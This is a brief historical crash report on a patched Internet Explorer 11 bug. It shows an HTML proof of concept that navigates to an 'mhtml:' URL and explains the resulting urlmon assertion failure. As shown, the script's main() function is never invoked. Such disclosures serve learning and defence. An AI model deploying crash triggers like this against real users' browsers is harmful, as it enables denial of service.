A brief crash report. Navigating to any URL prefixed with the mhtml: protocol scheme crashed IE11 with an assertion failure in urlmon!CBSCHolder::RemoveNode.

<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>IE11_DoS_load_mhtml_protocol</title>
</head>
<body>
<script>
function main()
{
	location = "mhtml:http://www.bing.com/robots.txt";
}
</script>
</body>
</html>

The crash was an assertion in urlmon at mpxbsc.cxx(1685): "IBSC in use - can not be revoked". The mhtml: protocol handler apparently left a bind status callback in a state where it could not be cleanly removed, violating an internal invariant when the navigation was torn down. Exploitability was unknown.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.